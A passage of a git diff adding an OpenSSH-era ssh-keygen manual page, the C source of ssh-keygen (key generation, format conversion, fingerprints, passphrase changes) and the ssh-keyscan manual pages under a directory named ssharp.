may be empty to indicate no passphrase +(host keys must have an empty passphrase), or it may be a string of +arbitrary length. +Good passphrases are 10-30 characters long and are +not simple sentences or otherwise easily guessable (English +prose has only 1-2 bits of entropy per word, and provides very bad +passphrases). +The passphrase can be changed later by using the +.Fl p +option. +.Pp +There is no way to recover a lost passphrase. +If the passphrase is +lost or forgotten, you will have to generate a new key and copy the +corresponding public key to other machines. +.Pp +For RSA1 keys, +there is also a comment field in the key file that is only for +convenience to the user to help identify the key. +The comment can tell what the key is for, or whatever is useful. +The comment is initialized to +.Dq user@host +when the key is created, but can be changed using the +.Fl c +option. +.Pp +After a key is generated, instructions below detail where the keys +should be placed to be activated. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl b Ar bits +Specifies the number of bits in the key to create. +Minimum is 512 bits. +Generally 1024 bits is considered sufficient, and key sizes +above that no longer improve security but make things slower. +The default is 1024 bits. +.It Fl c +Requests changing the comment in the private and public key files. +The program will prompt for the file containing the private keys, for +passphrase if the key has one, and for the new comment. +.It Fl e +This option will read a private or public OpenSSH key file and +print the key in a +.Sq SECSH Public Key File Format +to stdout. +This option allows exporting keys for use by several commercial +SSH implementations. +.It Fl f +Specifies the filename of the key file. +.It Fl i +This option will read an unencrypted private (or public) key file +in SSH2-compatible format and print an OpenSSH compatible private +(or public) key to stdout. +.Nm +also reads the +.Sq SECSH Public Key File Format . +This option allows importing keys from several commercial +SSH implementations. +.It Fl l +Show fingerprint of specified private or public key file. +.It Fl p +Requests changing the passphrase of a private key file instead of +creating a new private key. +The program will prompt for the file +containing the private key, for the old passphrase, and twice for the +new passphrase. +.It Fl q +Silence +.Nm ssh-keygen . +Used by +.Pa /etc/rc +when creating a new key. +.It Fl y +This option will read a private +OpenSSH format file and print an OpenSSH public key to stdout. +.It Fl t Ar type +Specifies the type of the key to create. +The possible values are +.Dq rsa1 +for protocol version 1 and +.Dq rsa +or +.Dq dsa +for protocol version 2. +The default is +.Dq rsa1 . +.It Fl B +Show the bubblebabble digest of specified private or public key file. +.It Fl C Ar comment +Provides the new comment. +.It Fl N Ar new_passphrase +Provides the new passphrase. +.It Fl P Ar passphrase +Provides the (old) passphrase. +.El +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/identity +Contains the protocol version 1 RSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file using 3DES. +This file is not automatically accessed by +.Nm +but it is offered as the default file for the private key. +.Xr sshd 8 +will read this file when a login attempt is made. +.It Pa $HOME/.ssh/identity.pub +Contains the protocol version 1 RSA public key for authentication. +The contents of this file should be added to +.Pa $HOME/.ssh/authorized_keys +on all machines +where you wish to log in using RSA authentication. +There is no need to keep the contents of this file secret. +.It Pa $HOME/.ssh/id_dsa +Contains the protocol version 2 DSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file using 3DES. +This file is not automatically accessed by +.Nm +but it is offered as the default file for the private key. +.Xr sshd 8 +will read this file when a login attempt is made. +.It Pa $HOME/.ssh/id_dsa.pub +Contains the protocol version 2 DSA public key for authentication. +The contents of this file should be added to +.Pa $HOME/.ssh/authorized_keys2 +on all machines +where you wish to log in using public key authentication. +There is no need to keep the contents of this file secret. +.It Pa $HOME/.ssh/id_rsa +Contains the protocol version 2 RSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file using 3DES. +This file is not automatically accessed by +.Nm +but it is offered as the default file for the private key. +.Xr sshd 8 +will read this file when a login attempt is made. +.It Pa $HOME/.ssh/id_rsa.pub +Contains the protocol version 2 RSA public key for authentication. +The contents of this file should be added to +.Pa $HOME/.ssh/authorized_keys2 +on all machines +where you wish to log in using public key authentication. +There is no need to keep the contents of this file secret. +.El +.Sh AUTHORS +OpenSSH is a derivative of the original and free +ssh 1.2.12 release by Tatu Ylonen. +Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, +Theo de Raadt and Dug Song +removed many bugs, re-added newer features and +created OpenSSH. +Markus Friedl contributed the support for SSH +protocol versions 1.5 and 2.0. +.Sh SEE ALSO +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr sshd 8 +.Rs +.%A J. Galbraith +.%A R. Thayer +.%T "SECSH Public Key File Format" +.%N draft-ietf-secsh-publickeyfile-01.txt +.%D March 2001 +.%O work in progress material +.Re diff --git a/other/ssharp/ssh-keygen.c b/other/ssharp/ssh-keygen.c new file mode 100644 index 0000000..166ec62 --- /dev/null +++ b/other/ssharp/ssh-keygen.c @@ -0,0 +1,887 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1994 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Identity and host key generation and maintenance. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-keygen.c,v 1.60 2001/04/23 22:14:13 markus Exp $"); + +#include +#include + +#include "xmalloc.h" +#include "key.h" +#include "rsa.h" +#include "authfile.h" +#include "uuencode.h" +#include "buffer.h" +#include "bufaux.h" +#include "pathnames.h" +#include "log.h" +#include "readpass.h" + +/* Number of bits in the RSA/DSA key. This value can be changed on the command line. */ +int bits = 1024; + +/* + * Flag indicating that we just want to change the passphrase. This can be + * set on the command line. + */ +int change_passphrase = 0; + +/* + * Flag indicating that we just want to change the comment. This can be set + * on the command line. + */ +int change_comment = 0; + +int quiet = 0; + +/* Flag indicating that we just want to see the key fingerprint */ +int print_fingerprint = 0; +int print_bubblebabble = 0; + +/* The identity file name, given on the command line or entered by the user. */ +char identity_file[1024]; +int have_identity = 0; + +/* This is set to the passphrase if given on the command line. */ +char *identity_passphrase = NULL; + +/* This is set to the new passphrase if given on the command line. */ +char *identity_new_passphrase = NULL; + +/* This is set to the new comment if given on the command line. */ +char *identity_comment = NULL; + +/* Dump public key file in format used by real and the original SSH 2 */ +int convert_to_ssh2 = 0; +int convert_from_ssh2 = 0; +int print_public = 0; + +/* default to RSA for SSH-1 */ +char *key_type_name = "rsa1"; + +/* argv0 */ +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif + +char hostname[MAXHOSTNAMELEN]; + +void +ask_filename(struct passwd *pw, const char *prompt) +{ + char buf[1024]; + char *name = NULL; + + switch (key_type_from_name(key_type_name)) { + case KEY_RSA1: + name = _PATH_SSH_CLIENT_IDENTITY; + break; + case KEY_DSA: + name = _PATH_SSH_CLIENT_ID_DSA; + break; + case KEY_RSA: + name = _PATH_SSH_CLIENT_ID_RSA; + break; + default: + fprintf(stderr, "bad key type"); + exit(1); + break; + } + snprintf(identity_file, sizeof(identity_file), "%s/%s", pw->pw_dir, name); + fprintf(stderr, "%s (%s): ", prompt, identity_file); + fflush(stderr); + if (fgets(buf, sizeof(buf), stdin) == NULL) + exit(1); + if (strchr(buf, '\n')) + *strchr(buf, '\n') = 0; + if (strcmp(buf, "") != 0) + strlcpy(identity_file, buf, sizeof(identity_file)); + have_identity = 1; +} + +Key * +try_load_pem_key(char *filename) +{ + char *pass; + Key *prv; + + prv = key_load_private(filename, "", NULL); + if (prv == NULL) { + pass = read_passphrase("Enter passphrase: ", 1); + prv = key_load_private(filename, pass, NULL); + memset(pass, 0, strlen(pass)); + xfree(pass); + } + return prv; +} + +#define SSH_COM_PUBLIC_BEGIN "---- BEGIN SSH2 PUBLIC KEY ----" +#define SSH_COM_PUBLIC_END "---- END SSH2 PUBLIC KEY ----" +#define SSH_COM_PRIVATE_BEGIN "---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----" +#define SSH_COM_PRIVATE_KEY_MAGIC 0x3f6ff9eb + +void +do_convert_to_ssh2(struct passwd *pw) +{ + Key *k; + int len; + u_char *blob; + struct stat st; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + if ((k = key_load_public(identity_file, NULL)) == NULL) { + if ((k = try_load_pem_key(identity_file)) == NULL) { + fprintf(stderr, "load failed\n"); + exit(1); + } + } + key_to_blob(k, &blob, &len); + fprintf(stdout, "%s\n", SSH_COM_PUBLIC_BEGIN); + fprintf(stdout, + "Comment: \"%d-bit %s, converted from OpenSSH by %s@%s\"\n", + key_size(k), key_type(k), + pw->pw_name, hostname); + dump_base64(stdout, blob, len); + fprintf(stdout, "%s\n", SSH_COM_PUBLIC_END); + key_free(k); + xfree(blob); + exit(0); +} + +void +buffer_get_bignum_bits(Buffer *b, BIGNUM *value) +{ + int bits = buffer_get_int(b); + int bytes = (bits + 7) / 8; + + if (buffer_len(b) < bytes) + fatal("buffer_get_bignum_bits: input buffer too small: " + "need %d have %d", bytes, buffer_len(b)); + BN_bin2bn((u_char *)buffer_ptr(b), bytes, value); + buffer_consume(b, bytes); +} + +Key * +do_convert_private_ssh2_from_blob(char *blob, int blen) +{ + Buffer b; + Key *key = NULL; + int ignore, magic, rlen, ktype; + char *type, *cipher; + + buffer_init(&b); + buffer_append(&b, blob, blen); + + magic = buffer_get_int(&b); + if (magic != SSH_COM_PRIVATE_KEY_MAGIC) { + error("bad magic 0x%x != 0x%x", magic, SSH_COM_PRIVATE_KEY_MAGIC); + buffer_free(&b); + return NULL; + } + ignore = buffer_get_int(&b); + type = buffer_get_string(&b, NULL); + cipher = buffer_get_string(&b, NULL); + ignore = buffer_get_int(&b); + ignore = buffer_get_int(&b); + ignore = buffer_get_int(&b); + + if (strcmp(cipher, "none") != 0) { + error("unsupported cipher %s", cipher); + xfree(cipher); + buffer_free(&b); + xfree(type); + return NULL; + } + xfree(cipher); + + if (strstr(type, "dsa")) { + ktype = KEY_DSA; + } else if (strstr(type, "rsa")) { + ktype = KEY_RSA; + } else { + xfree(type); + return NULL; + } + key = key_new_private(ktype); + xfree(type); + + switch (key->type) { + case KEY_DSA: + buffer_get_bignum_bits(&b, key->dsa->p); + buffer_get_bignum_bits(&b, key->dsa->g); + buffer_get_bignum_bits(&b, key->dsa->q); + buffer_get_bignum_bits(&b, key->dsa->pub_key); + buffer_get_bignum_bits(&b, key->dsa->priv_key); + break; + case KEY_RSA: + if (!BN_set_word(key->rsa->e, (u_long) buffer_get_char(&b))) { + buffer_free(&b); + key_free(key); + return NULL; + } + buffer_get_bignum_bits(&b, key->rsa->d); + buffer_get_bignum_bits(&b, key->rsa->n); + buffer_get_bignum_bits(&b, key->rsa->iqmp); + buffer_get_bignum_bits(&b, key->rsa->q); + buffer_get_bignum_bits(&b, key->rsa->p); + generate_additional_parameters(key->rsa); + break; + } + rlen = buffer_len(&b); + if(rlen != 0) + error("do_convert_private_ssh2_from_blob: " + "remaining bytes in key blob %d", rlen); + buffer_free(&b); +#ifdef DEBUG_PK + { + u_int slen; + u_char *sig, data[10] = "abcde12345"; + + key_sign(key, &sig, &slen, data, sizeof data); + key_verify(key, sig, slen, data, sizeof data); + xfree(sig); + } +#endif + return key; +} + +void +do_convert_from_ssh2(struct passwd *pw) +{ + Key *k; + int blen; + char line[1024], *p; + char blob[8096]; + char encoded[8096]; + struct stat st; + int escaped = 0, private = 0, ok; + FILE *fp; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + fp = fopen(identity_file, "r"); + if (fp == NULL) { + perror(identity_file); + exit(1); + } + encoded[0] = '\0'; + while (fgets(line, sizeof(line), fp)) { + if (!(p = strchr(line, '\n'))) { + fprintf(stderr, "input line too long.\n"); + exit(1); + } + if (p > line && p[-1] == '\\') + escaped++; + if (strncmp(line, "----", 4) == 0 || + strstr(line, ": ") != NULL) { + if (strstr(line, SSH_COM_PRIVATE_BEGIN) != NULL) + private = 1; + /* fprintf(stderr, "ignore: %s", line); */ + continue; + } + if (escaped) { + escaped--; + /* fprintf(stderr, "escaped: %s", line); */ + continue; + } + *p = '\0'; + strlcat(encoded, line, sizeof(encoded)); + } + blen = uudecode(encoded, (u_char *)blob, sizeof(blob)); + if (blen < 0) { + fprintf(stderr, "uudecode failed.\n"); + exit(1); + } + k = private ? + do_convert_private_ssh2_from_blob(blob, blen) : + key_from_blob(blob, blen); + if (k == NULL) { + fprintf(stderr, "decode blob failed.\n"); + exit(1); + } + ok = private ? + (k->type == KEY_DSA ? + PEM_write_DSAPrivateKey(stdout, k->dsa, NULL, NULL, 0, NULL, NULL) : + PEM_write_RSAPrivateKey(stdout, k->rsa, NULL, NULL, 0, NULL, NULL)) : + key_write(k, stdout); + if (!ok) { + fprintf(stderr, "key write failed"); + exit(1); + } + key_free(k); + fprintf(stdout, "\n"); + fclose(fp); + exit(0); +} + +void +do_print_public(struct passwd *pw) +{ + Key *prv; + struct stat st; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + prv = try_load_pem_key(identity_file); + if (prv == NULL) { + fprintf(stderr, "load failed\n"); + exit(1); + } + if (!key_write(prv, stdout)) + fprintf(stderr, "key_write failed"); + key_free(prv); + fprintf(stdout, "\n"); + exit(0); +} + +void +do_fingerprint(struct passwd *pw) +{ + FILE *f; + Key *public; + char *comment = NULL, *cp, *ep, line[16*1024], *fp; + int i, skip = 0, num = 1, invalid = 1, rep, fptype; + struct stat st; + + fptype = print_bubblebabble ? SSH_FP_SHA1 : SSH_FP_MD5; + rep = print_bubblebabble ? SSH_FP_BUBBLEBABBLE : SSH_FP_HEX; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + public = key_load_public(identity_file, &comment); + if (public != NULL) { + fp = key_fingerprint(public, fptype, rep); + printf("%d %s %s\n", key_size(public), fp, comment); + key_free(public); + xfree(comment); + xfree(fp); + exit(0); + } + if (comment) + xfree(comment); + + f = fopen(identity_file, "r"); + if (f != NULL) { + while (fgets(line, sizeof(line), f)) { + i = strlen(line) - 1; + if (line[i] != '\n') { + error("line %d too long: %.40s...", num, line); + skip = 1; + continue; + } + num++; + if (skip) { + skip = 0; + continue; + } + line[i] = '\0'; + + /* Skip leading whitespace, empty and comment lines. */ + for (cp = line; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '\n' || *cp == '#') + continue ; + i = strtol(cp, &ep, 10); + if (i == 0 || ep == NULL || (*ep != ' ' && *ep != '\t')) { + int quoted = 0; + comment = cp; + for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { + if (*cp == '\\' && cp[1] == '"') + cp++; /* Skip both */ + else if (*cp == '"') + quoted = !quoted; + } + if (!*cp) + continue; + *cp++ = '\0'; + } + ep = cp; + public = key_new(KEY_RSA1); + if (key_read(public, &cp) != 1) { + cp = ep; + key_free(public); + public = key_new(KEY_UNSPEC); + if (key_read(public, &cp) != 1) { + key_free(public); + continue; + } + } + comment = *cp ? cp : comment; + fp = key_fingerprint(public, fptype, rep); + printf("%d %s %s\n", key_size(public), fp, + comment ? comment : "no comment"); + xfree(fp); + key_free(public); + invalid = 0; + } + fclose(f); + } + if (invalid) { + printf("%s is not a valid key file.\n", identity_file); + exit(1); + } + exit(0); +} + +/* + * Perform changing a passphrase. The argument is the passwd structure + * for the current user. + */ +void +do_change_passphrase(struct passwd *pw) +{ + char *comment; + char *old_passphrase, *passphrase1, *passphrase2; + struct stat st; + Key *private; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + /* Try to load the file with empty passphrase. */ + private = key_load_private(identity_file, "", &comment); + if (private == NULL) { + if (identity_passphrase) + old_passphrase = xstrdup(identity_passphrase); + else + old_passphrase = read_passphrase("Enter old passphrase: ", 1); + private = key_load_private(identity_file, old_passphrase , &comment); + memset(old_passphrase, 0, strlen(old_passphrase)); + xfree(old_passphrase); + if (private == NULL) { + printf("Bad passphrase.\n"); + exit(1); + } + } + printf("Key has comment '%s'\n", comment); + + /* Ask the new passphrase (twice). */ + if (identity_new_passphrase) { + passphrase1 = xstrdup(identity_new_passphrase); + passphrase2 = NULL; + } else { + passphrase1 = + read_passphrase("Enter new passphrase (empty for no passphrase): ", 1); + passphrase2 = read_passphrase("Enter same passphrase again: ", 1); + + /* Verify that they are the same. */ + if (strcmp(passphrase1, passphrase2) != 0) { + memset(passphrase1, 0, strlen(passphrase1)); + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase1); + xfree(passphrase2); + printf("Pass phrases do not match. Try again.\n"); + exit(1); + } + /* Destroy the other copy. */ + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase2); + } + + /* Save the file using the new passphrase. */ + if (!key_save_private(private, identity_file, passphrase1, comment)) { + printf("Saving the key failed: %s.\n", identity_file); + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + key_free(private); + xfree(comment); + exit(1); + } + /* Destroy the passphrase and the copy of the key in memory. */ + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + key_free(private); /* Destroys contents */ + xfree(comment); + + printf("Your identification has been saved with the new passphrase.\n"); + exit(0); +} + +/* + * Change the comment of a private key file. + */ +void +do_change_comment(struct passwd *pw) +{ + char new_comment[1024], *comment, *passphrase; + Key *private; + Key *public; + struct stat st; + FILE *f; + int fd; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + private = key_load_private(identity_file, "", &comment); + if (private == NULL) { + if (identity_passphrase) + passphrase = xstrdup(identity_passphrase); + else if (identity_new_passphrase) + passphrase = xstrdup(identity_new_passphrase); + else + passphrase = read_passphrase("Enter passphrase: ", 1); + /* Try to load using the passphrase. */ + private = key_load_private(identity_file, passphrase, &comment); + if (private == NULL) { + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + printf("Bad passphrase.\n"); + exit(1); + } + } else { + passphrase = xstrdup(""); + } + if (private->type != KEY_RSA1) { + fprintf(stderr, "Comments are only supported for RSA1 keys.\n"); + key_free(private); + exit(1); + } + printf("Key now has comment '%s'\n", comment); + + if (identity_comment) { + strlcpy(new_comment, identity_comment, sizeof(new_comment)); + } else { + printf("Enter new comment: "); + fflush(stdout); + if (!fgets(new_comment, sizeof(new_comment), stdin)) { + memset(passphrase, 0, strlen(passphrase)); + key_free(private); + exit(1); + } + if (strchr(new_comment, '\n')) + *strchr(new_comment, '\n') = 0; + } + + /* Save the file using the new passphrase. */ + if (!key_save_private(private, identity_file, passphrase, new_comment)) { + printf("Saving the key failed: %s.\n", identity_file); + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + key_free(private); + xfree(comment); + exit(1); + } + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + public = key_from_private(private); + key_free(private); + + strlcat(identity_file, ".pub", sizeof(identity_file)); + fd = open(identity_file, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + printf("Could not save your public key in %s\n", identity_file); + exit(1); + } + f = fdopen(fd, "w"); + if (f == NULL) { + printf("fdopen %s failed", identity_file); + exit(1); + } + if (!key_write(public, f)) + fprintf(stderr, "write key failed"); + key_free(public); + fprintf(f, " %s\n", new_comment); + fclose(f); + + xfree(comment); + + printf("The comment in your key file has been changed.\n"); + exit(0); +} + +void +usage(void) +{ + printf("Usage: %s [-ceilpqyB] [-t type] [-b bits] [-f file] [-C comment] " + "[-N new-pass] [-P pass]\n", __progname); + exit(1); +} + +/* + * Main program for key management. + */ +int +main(int ac, char **av) +{ + char dotsshdir[16 * 1024], comment[1024], *passphrase1, *passphrase2; + Key *private, *public; + struct passwd *pw; + int opt, type, fd; + struct stat st; + FILE *f; + + extern int optind; + extern char *optarg; + + __progname = get_progname(av[0]); + init_rng(); + seed_rng(); + + SSLeay_add_all_algorithms(); + + /* we need this for the home * directory. */ + pw = getpwuid(getuid()); + if (!pw) { + printf("You don't exist, go away!\n"); + exit(1); + } + if (gethostname(hostname, sizeof(hostname)) < 0) { + perror("gethostname"); + exit(1); + } + + while ((opt = getopt(ac, av, "deiqpclBRxXyb:f:t:P:N:C:")) != -1) { + switch (opt) { + case 'b': + bits = atoi(optarg); + if (bits < 512 || bits > 32768) { + printf("Bits has bad value.\n"); + exit(1); + } + break; + + case 'l': + print_fingerprint = 1; + break; + + case 'B': + print_bubblebabble = 1; + break; + + case 'p': + change_passphrase = 1; + break; + + case 'c': + change_comment = 1; + break; + + case 'f': + strlcpy(identity_file, optarg, sizeof(identity_file)); + have_identity = 1; + break; + + case 'P': + identity_passphrase = optarg; + break; + + case 'N': + identity_new_passphrase = optarg; + break; + + case 'C': + identity_comment = optarg; + break; + + case 'q': + quiet = 1; + break; + + case 'R': + /* unused */ + exit(0); + break; + + case 'e': + case 'x': + /* export key */ + convert_to_ssh2 = 1; + break; + + case 'i': + case 'X': + /* import key */ + convert_from_ssh2 = 1; + break; + + case 'y': + print_public = 1; + break; + + case 'd': + key_type_name = "dsa"; + break; + + case 't': + key_type_name = optarg; + break; + + case '?': + default: + usage(); + } + } + if (optind < ac) { + printf("Too many arguments.\n"); + usage(); + } + if (change_passphrase && change_comment) { + printf("Can only have one of -p and -c.\n"); + usage(); + } + if (print_fingerprint || print_bubblebabble) + do_fingerprint(pw); + if (change_passphrase) + do_change_passphrase(pw); + if (change_comment) + do_change_comment(pw); + if (convert_to_ssh2) + do_convert_to_ssh2(pw); + if (convert_from_ssh2) + do_convert_from_ssh2(pw); + if (print_public) + do_print_public(pw); + + arc4random_stir(); + + type = key_type_from_name(key_type_name); + if (type == KEY_UNSPEC) { + fprintf(stderr, "unknown key type %s\n", key_type_name); + exit(1); + } + if (!quiet) + printf("Generating public/private %s key pair.\n", key_type_name); + private = key_generate(type, bits); + if (private == NULL) { + fprintf(stderr, "key_generate failed"); + exit(1); + } + public = key_from_private(private); + + if (!have_identity) + ask_filename(pw, "Enter file in which to save the key"); + + /* Create ~/.ssh directory if it doesn\'t already exist. */ + snprintf(dotsshdir, sizeof dotsshdir, "%s/%s", pw->pw_dir, _PATH_SSH_USER_DIR); + if (strstr(identity_file, dotsshdir) != NULL && + stat(dotsshdir, &st) < 0) { + if (mkdir(dotsshdir, 0700) < 0) + error("Could not create directory '%s'.", dotsshdir); + else if (!quiet) + printf("Created directory '%s'.\n", dotsshdir); + } + /* If the file already exists, ask the user to confirm. */ + if (stat(identity_file, &st) >= 0) { + char yesno[3]; + printf("%s already exists.\n", identity_file); + printf("Overwrite (y/n)? "); + fflush(stdout); + if (fgets(yesno, sizeof(yesno), stdin) == NULL) + exit(1); + if (yesno[0] != 'y' && yesno[0] != 'Y') + exit(1); + } + /* Ask for a passphrase (twice). */ + if (identity_passphrase) + passphrase1 = xstrdup(identity_passphrase); + else if (identity_new_passphrase) + passphrase1 = xstrdup(identity_new_passphrase); + else { +passphrase_again: + passphrase1 = + read_passphrase("Enter passphrase (empty for no passphrase): ", 1); + passphrase2 = read_passphrase("Enter same passphrase again: ", 1); + if (strcmp(passphrase1, passphrase2) != 0) { + /* The passphrases do not match. Clear them and retry. */ + memset(passphrase1, 0, strlen(passphrase1)); + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase1); + xfree(passphrase2); + printf("Passphrases do not match. Try again.\n"); + goto passphrase_again; + } + /* Clear the other copy of the passphrase. */ + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase2); + } + + if (identity_comment) { + strlcpy(comment, identity_comment, sizeof(comment)); + } else { + /* Create default commend field for the passphrase. */ + snprintf(comment, sizeof comment, "%s@%s", pw->pw_name, hostname); + } + + /* Save the key with the given passphrase and comment. */ + if (!key_save_private(private, identity_file, passphrase1, comment)) { + printf("Saving the key failed: %s.\n", identity_file); + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + exit(1); + } + /* Clear the passphrase. */ + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + + /* Clear the private key and the random number generator. */ + key_free(private); + arc4random_stir(); + + if (!quiet) + printf("Your identification has been saved in %s.\n", identity_file); + + strlcat(identity_file, ".pub", sizeof(identity_file)); + fd = open(identity_file, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + printf("Could not save your public key in %s\n", identity_file); + exit(1); + } + f = fdopen(fd, "w"); + if (f == NULL) { + printf("fdopen %s failed", identity_file); + exit(1); + } + if (!key_write(public, f)) + fprintf(stderr, "write key failed"); + fprintf(f, " %s\n", comment); + fclose(f); + + if (!quiet) { + char *fp = key_fingerprint(public, SSH_FP_MD5, SSH_FP_HEX); + printf("Your public key has been saved in %s.\n", + identity_file); + printf("The key fingerprint is:\n"); + printf("%s %s\n", fp, comment); + xfree(fp); + } + + key_free(public); + exit(0); +} diff --git a/other/ssharp/ssh-keyscan.0 b/other/ssharp/ssh-keyscan.0 new file mode 100644 index 0000000..b972eed --- /dev/null +++ b/other/ssharp/ssh-keyscan.0 @@ -0,0 +1,72 @@ + +SSH-KEYSCAN(1) System Reference Manual SSH-KEYSCAN(1) + +NAME + ssh-keyscan - gather ssh public keys + +SYNOPSIS + ssh-keyscan [-t timeout] [-- | host | addrlist namelist] [-f files ...] + +DESCRIPTION + ssh-keyscan is a utility for gathering the public ssh host keys of a numM-- + ber of hosts. It was designed to aid in building and verifying + ssh_known_hosts files. ssh-keyscan provides a minimal interface suitable + for use by shell and perl scripts. + + ssh-keyscan uses non-blocking socket I/O to contact as many hosts as posM-- + sible in parallel, so it is very efficient. The keys from a domain of + 1,000 hosts can be collected in tens of seconds, even when some of those + hosts are down or do not run ssh. You do not need login access to the + machines you are scanning, nor does the scanning process involve any enM-- + cryption. + +SECURITY + If you make an ssh_known_hosts file using ssh-keyscan without verifying + the keys, you will be vulnerable to attacks. On the other hand, if your + security model allows such a risk, ssh-keyscan can help you detect tamM-- + pered keyfiles or man in the middle attacks which have begun after you + created your ssh_known_hosts file. + +OPTIONS + -t Set the timeout for connection attempts. If timeout seconds have + elapsed since a connection was initiated to a host or since the + last time anything was read from that host, then the connection + is closed and the host in question considered unavailable. DeM-- + fault is 5 seconds. + + -f Read hosts or addrlist namelist pairs from this file, one per + line. If - is supplied instead of a filename, ssh-keyscan will + read hosts or addrlist namelist pairs from the standard input. + +EXAMPLES + Print the host key for machine hostname: + + ssh-keyscan hostname + + Find all hosts from the file ssh_hosts which have new or different keys + from those in the sorted file ssh_known_hosts: + + $ ssh-keyscan -f ssh_hosts | sort -u - ssh_known_hosts | \ + diff ssh_known_hosts - + +FILES + Input format: 1.2.3.4,1.2.4.4 name.my.domain,name,n.my.doM-- + main,n,1.2.3.4,1.2.4.4 + + Output format: host-or-namelist bits exponent modulus + + /etc/ssh_known_hosts + +BUGS + It generates "Connection closed by remote host" messages on the consoles + of all the machines it scans. This is because it opens a connection to + the ssh port, reads the public key, and drops the connection as soon as + it gets the key. + +SEE ALSO + ssh(1), sshd(8) + +AUTHOR + David Mazieres + +BSD Experimental January 1, 1996 2 diff --git a/other/ssharp/ssh-keyscan.1 b/other/ssharp/ssh-keyscan.1 new file mode 100644 index 0000000..4db8c5f --- /dev/null +++ b/other/ssharp/ssh-keyscan.1 @@ -0,0 +1,104 @@ +.\" $OpenBSD: ssh-keyscan.1,v 1.5 2001/04/18 16:21:05 ian Exp $ +.\" +.\" Copyright 1995, 1996 by David Mazieres . +.\" +.\" Modification and redistribution in source and binary forms is +.\" permitted provided that due credit is given to the author and the +.\" OpenBSD project (for instance by leaving this copyright notice +.\" intact). +.\" +.Dd January 1, 1996 +.Dt SSH-KEYSCAN 1 +.Os +.Sh NAME +.Nm ssh-keyscan +.Nd gather ssh public keys +.Sh SYNOPSIS +.Nm ssh-keyscan +.Op Fl t Ar timeout +.Op Ar -- | host | addrlist namelist +.Op Fl f Ar files ... +.Sh DESCRIPTION +.Nm +is a utility for gathering the public ssh host keys of a number of +hosts. It was designed to aid in building and verifying +.Pa ssh_known_hosts +files. +.Nm +provides a minimal interface suitable for use by shell and perl +scripts. +.Pp +.Nm +uses non-blocking socket I/O to contact as many hosts as possible in +parallel, so it is very efficient. The keys from a domain of 1,000 +hosts can be collected in tens of seconds, even when some of those +hosts are down or do not run ssh. You do not need login access to the +machines you are scanning, nor does the scanning process involve +any encryption. +.Sh SECURITY +If you make an ssh_known_hosts file using +.Nm +without verifying the keys, you will be vulnerable to +.I man in the middle +attacks. +On the other hand, if your security model allows such a risk, +.Nm +can help you detect tampered keyfiles or man in the middle attacks which +have begun after you created your ssh_known_hosts file. +.Sh OPTIONS +.Bl -tag -width Ds +.It Fl t +Set the timeout for connection attempts. If +.Pa timeout +seconds have elapsed since a connection was initiated to a host or since the +last time anything was read from that host, then the connection is +closed and the host in question considered unavailable. Default is 5 +seconds. +.It Fl f +Read hosts or +.Pa addrlist namelist +pairs from this file, one per line. +If +.Pa - +is supplied instead of a filename, +.Nm +will read hosts or +.Pa addrlist namelist +pairs from the standard input. +.El +.Sh EXAMPLES +.Pp +Print the host key for machine +.Pa hostname : +.Bd -literal +ssh-keyscan hostname +.Ed +.Pp +Find all hosts from the file +.Pa ssh_hosts +which have new or different keys from those in the sorted file +.Pa ssh_known_hosts : +.Bd -literal +$ ssh-keyscan -f ssh_hosts | sort -u - ssh_known_hosts | \e\ + diff ssh_known_hosts - +.Ed +.Pp +.Sh FILES +.Pp +.Pa Input format: +1.2.3.4,1.2.4.4 name.my.domain,name,n.my.domain,n,1.2.3.4,1.2.4.4 +.Pp +.Pa Output format: +host-or-namelist bits exponent modulus +.Pp +.Pa /etc/ssh_known_hosts +.Sh BUGS +It 